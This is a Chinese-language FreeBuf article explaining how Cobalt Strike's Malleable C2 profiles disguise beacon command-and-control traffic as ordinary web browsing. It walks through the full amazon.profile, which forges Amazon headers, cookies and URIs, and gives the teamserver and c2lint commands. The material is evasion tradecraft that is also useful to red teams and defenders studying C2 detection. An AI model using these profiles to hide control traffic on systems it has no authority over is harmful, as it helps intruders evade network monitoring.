关于Cobalt Strike的Malleable-C2-Profiles浅析 – 作者:charm1y

*本文作者:charm1y,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

本文主要浅略地分析Cobalt Strike利用Malleable-C2-Profiles来进行伪装流量,实现通信隐匿的效果。

cobalt strike简介

cobalt strike是一款非常优秀的基于java的后渗透测试平台,它使用图形化界面进行操作,相比于Metasploit操作上更为简单高效。同时,它采用C/S架构,服务端为一个,客户端可以为多个,方便团队进行分布式协作。

cobalt strike监听器

cobalt strike提供的listener分为Beacon与Foreign两种。区别在与Beacon为内置使用,即目标主机与server端通信的监听;Foreign为与外部结合的listener,通常与Metasploit结合使用,后文使用的主要为Beacon类型的监听器。Beacon主要支持dns、https、http、smp[pipe]等通信协议。

我们设置好一个server端与目标主机之间监听环境(关于cobalt strike的监听器的设置与具体使用可以Google查询),使用的payload为Windows/beacon_http/reverse_http,开始监听。cobalt strike通过与目标主机建立心跳包的机制来监控目标主机的存活情况,默认为60s,可以通过sleep命令进行修改,当修改为5s一次心跳包的发送,抓包观察具体情况。

xintiaobao.png抓包可见,目标主机与server端的通信为HTTP协议,由此,当我们对cobalt strike的server端进行隐藏,伪造成一个正常的Web服务器,以此来伪装流量,最终达到通信隐匿的效果。cobalt strike通过提供Malleable-C2-Profiles来实现上述目的。

Malleable-C2-Profiles浅析

Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。  

使用方法:./teamserver [external IP] [password] [/path/to/my.profile]

对于profile文件可以通过cobalt strike软件包中的c2lint文件进行检查,建议第一次使用的profile文件都检查一遍。  

检查方法:./c2lint [/path/to/my.profile]

Malleable-C2-profile.png

以amazon.profile为例,来做简要分析

# Amazon browsing traffic profile

# Author: @harmj0y

#

set sleeptime "5000";

set jitter    "0";

set maxdns    "255";

set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {

    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

    client {

        header "Accept" "*/*";

        header "Host" "www.amazon.com";

        metadata {

            base64;

            prepend "session-token=";

            prepend "skin=noskin;";

            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";

            header "Cookie";

        }

    }

    server {

        header "Server" "Server";

        header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";

        header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";

        header "X-Frame-Options" "SAMEORIGIN";

        header "Content-Encoding" "gzip";

        output {

            print;

        }

    }

}

http-post {

    

    set uri "/N4215/adj/amzn.us.sr.aps";

    client {

        header "Accept" "*/*";

        header "Content-Type" "text/xml";

        header "X-Requested-With" "XMLHttpRequest";

        header "Host" "www.amazon.com";

        parameter "sz" "160x600";

        parameter "oe" "oe=ISO-8859-1;";

        id {

            parameter "sn";

        }

        parameter "s" "3717";

        parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

        output {

            base64;

            print;

        }

    }

    server {

        header "Server" "Server";

        header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";

        header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";

        header "X-Frame-Options" "SAMEORIGIN";

        header "x-ua-compatible" "IE=edge";

        output {

            print;

        }

    }

}

文件开头的set语句来设置Beacon的默认值,类型分为全局与本地选项,全局选项更改的是全局Beacon的设置,本地选项更改特定的transaction。全局在文件开头声明, 本地选项在具体的transaction中使用。  

在amazon.profile中sleeptime为设置心跳包时间,单位为毫秒;jitter为默认的抖动因子(0-99%);maxdns为通过DNS上传数据时的主机名最大长度(0-255);useragent为设置http通信使用的用户代理。

后文的http-get与http-post都符合以下的通用格式:  

protocol-transaction {

set local_option "value";

client {

# customize client indicators

}

server {

# customize server indicators

}

}

protocol-transaction即为使用具体使用http方法,client与server就是对http中的request与response的具体配置,header指定具体的http请求头与相应头信息。  

 metadata {

            base64;  

            prepend "session-token=";

            prepend "skin=noskin;";

            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";

            header "Cookie";

        }

这指定了对metadata进行相应编码,此处为base64编码。Prepend语句在编码后的数据前面添加相应字符串,append语句为在末尾追加字符串。最后存储在cookie字段里面。获取真正的metadata则是对http中相应数据进行逆操作,最终得到所要的metadata。  

parameter语句为设置对应的字符串存储在对应的URI参数中,print语句是将data作为transaction的内容进行发送。最后通过:

        output {

            print;

        }

单元进行终止并输出。通过以上具体内容的设置,最终在通信时HTTP流量包得到相应的更改伪造。至于更多profile设置可以参考官方文档 — https://www.cobaltstrike.com/help-malleable-c2  。

下图为server端默认配置与加载amazon.profile后实现的通信流量的对比。 

CS_default.png

C2-amazon.png

通过加载相应的profile文件,来改变目标主机与server端的流量特征,以此来隐藏流量,最终达到通信隐匿的目的。  

在cobalt strike中,一次只能使用一个profile文件,当profile文件有变动时,基于当前profile文件的listener都会失效,需要重新部署。在编写自定义的profile文件时,需要注意一些字符与URL之间的冲突,有可能导致配置无法生效。修改后的profile文件建议通过c2lint工具进行测试,通过后再进行部署。

总结

cobalt strike作为一款优秀的后渗透工具,通过伪造正常的HTTP流量来进行目标主机的控制,在实际使用中一般偏向于使用HTTPS协议进行通信,更能达到隐藏自身的目的。以上内容算是抛砖引玉了,有感兴趣的同学可以参考以下链接。

参考链接

https://www.freebuf.com/sectool/133369.html  

https://www.cobaltstrike.com/help-malleable-c2   

https://github.com/rsmudge/Malleable-C2-Profiles  

https://github.com/xx0hcd/Malleable-C2-Profiles

*本文作者:charm1y,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

来源:freebuf.com 2018-12-03 09:00:17 by: charm1y

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论